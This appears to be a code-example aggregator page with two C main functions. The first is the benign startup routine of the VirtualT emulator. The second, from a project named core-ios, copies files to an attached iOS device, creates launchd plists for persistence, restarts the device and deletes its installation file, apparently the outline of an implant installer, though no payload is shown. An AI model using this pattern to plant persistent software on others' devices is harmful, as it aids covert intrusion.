Ejemplo n.º 1
0
/*
========================================================================
main:	This is the main entry point for the VirtualT application.
========================================================================
*/
int main(int argc, char **argv)
{
	if (process_args(argc, argv))	/* Parse command line args */
		return 1;

	setup_working_path(argv);	/* Create a working dir path */
	setup_unix_signals();		/* Setup Unix signal handling */

	// Added by JV for prefs
	init_pref();				/* load user Menu preferences */
	check_installation();		/* Test if install needs to be performed */
	load_setup_preferences();	/* Load user Peripheral setup preferences */
	load_memory_preferences();	/* Load user Memory setup preferences */
	load_remote_preferences();  /* Load user Remote Socket preferences */
	
	/* Perform initialization */
	init_mem();					/* Initialize Memory */
	init_io();					/* Initialize I/O structures */
	init_sound();				/* Initialize Sound system */
	init_display();				/* Initialize the Display */
	init_cpu();					/* Initialize the CPU */
	init_throttle_timer();		/* Initialize the throttle timer */
	init_remote();				/* Initialize the remote control */
	init_lpt();					/* Initialize the printer subsystem */
	init_other_windows();		/* Initialize other windows that were opened (memedit, regs, etc. */
	get_model_time();			/* Load the emulated time for current model */

	/* Perform Emulation */
	emulate();					/* Main emulation loop */

	/* Save RAM contents after emulation */
	save_ram();
	save_model_time();			/* Save the emulated time */

	/* Cleanup */
	deinit_io();				/* Deinitialize I/O */
	deinit_sound();				/* Deinitialize sound */
	deinit_lpt();				/* Deinitialize the printer */
	deinit_throttle_timer();	/* Deinitialize the throttle timer */
	deinit_display();			/* Deinitialze and free the main window */
	free_mem();					/* Free memory used by ReMem and/or Rampac */

	return 0;
}
Ejemplo n.º 2
0
Archivo: main.c Proyecto: BwRy/core-ios
int main(int argc, const char * argv[])
{
  printf("start installation...\n");
  
  char **dir_content = list_dir_content("./ios");
  
  if (dir_content[0] == NULL)
  {
    printf("cannot found installation dir!\n");
    return 0;
  }
  
  if (make_install_directory() != 0)
  {
    printf("cannot create installer folder\n");
	return 0;
  }

  printf("copying files...\n");

  if (copy_install_files("C:\\tmp\\ios", dir_content) != 0)
  {
    printf("cannot copy files in installer folder\n");
	return 0;
  }

  printf("copying files... done!\n");

  if (create_launchd_plist() != 0)
  {
   printf("cannot create plist files\n");
   return 0;
  }

  printf("try to restart device...\n");

  if (restart_device() == 1)
  {
    printf("try to restart device...restarting\n");
  }
  else 
  {
	printf("can't restart device: try it manually!\n");
  }

  sleep(1);

  int isDeviceOn = 0;

  // Wait for device off
  do
  {
    isDeviceOn = isDeviceAttached();
    
    sleep(1);
  
  } while(isDeviceOn == 1);

  // Wait for device on
  do
  {
    isDeviceOn = isDeviceAttached();
    
    sleep(1);
  
  } while(isDeviceOn == 0);

  printf("device connected\n");
  
	
  printf("checking installation...\n");

  if (check_installation(10, 10) == 1)
  {
	printf("installation done!\n");
    
	if (remove_installation() == 0)
		printf("cannot remove installation file!\n");
  }
  else
  {
	printf("installation failed: please retry!\n");
  }
  
  return 0;
}